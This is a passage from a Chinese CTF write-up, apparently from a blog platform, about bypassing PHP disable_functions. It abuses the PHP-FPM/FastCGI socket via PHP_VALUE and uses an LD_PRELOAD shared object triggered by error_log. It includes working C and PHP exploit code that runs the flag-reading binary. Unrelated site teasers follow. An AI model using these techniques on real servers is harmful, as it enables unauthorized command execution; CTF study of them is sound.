    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
          'PHP_VALUE'         => $php_value,
),
$content
);

腳本中php_value的值是我們的FastCGI要傳給FPM的值用來修改php.ini,并且根據SCRIPT_FILENAMEphp文件進行執行/tmp/readflag.php
同時腳本還要修改的地方,就是使用套接字協議去加載socketNginx連接fastcgi的方式有2種:TCPunix domain socket,腳本使用的即第二種形式。根據不同的php版本,找不同的fastcgi的套接字。在0CTF的題目中,大家用的是php7.2默認的FPM套接字/run/php/php7.3-fpm.sock。其實FastCGI/FPM套接字都可以用。

出題人在tmp目錄已經給我們FastCGI的套接字/tmp/php-cgi.sock,直接修改腳本new Client("unix:///tmp/php-cgi.sock", -1)
同時我們還要上傳一個readflag.php文件作為腳本的SCRIPT_FILENAME,這里我讓FPM為我們加載這樣一個php腳本,成功讀到readflag程序。

<?php
var_dump(file_get_contents('/readflag'));

buuoj的實例中,由于沒有用FPM/FastCGI,所以只能用error_log+putenv

#zz.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/flag");
}
# exp.php
<?php
putenv("LD_PRELOAD=/tmp/zz.so");
error_log('',1);
?>

上傳上面兩個文件到/tmp下,然后包含exp.php即可。
除了error_log外,mail也能調用了外部進程sendmail

https://www.anquanke.com/post/id/175403#h2-3
https://www.anquanke.com/post/id/186186#h2-7
https://xz.aliyun.com/t/5598?tdsourcetag=s_pctim_aiomsg#toc-2

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,362評論 6 544
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,577評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 178,486評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,852評論 1 317
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,600評論 6 412
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,944評論 1 328
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,944評論 3 447
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,108評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,652評論 1 336
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,385評論 3 358
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,616評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,111評論 5 364
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,798評論 3 350
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,205評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,537評論 1 295
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,334評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,570評論 2 379

推薦閱讀更多精彩內容

  • 官網 中文版本 好的網站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,428評論 0 5
  • ORA-00001: 違反唯一約束條件 (.) 錯誤說明:當在唯一索引所對應的列上鍵入重復值時,會觸發此異常。 O...
    我想起個好名字閱讀 5,403評論 0 9
  • Swift1> Swift和OC的區別1.1> Swift沒有地址/指針的概念1.2> 泛型1.3> 類型嚴謹 對...
    cosWriter閱讀 11,130評論 1 32
  • 分享本題自制Dockerfile : Github 這題在比賽過程是0解......真的太難了...體現了Oran...
    Pr0ph3t閱讀 6,386評論 0 6
  • 家人們,下午好! 作業登記本,昨天還有兩位家長沒有給孩子檢查簽名,其他的都有檢查簽名了,進步很大啊,希望大家能堅持...
    陽光溫溫閱讀 204評論 0 1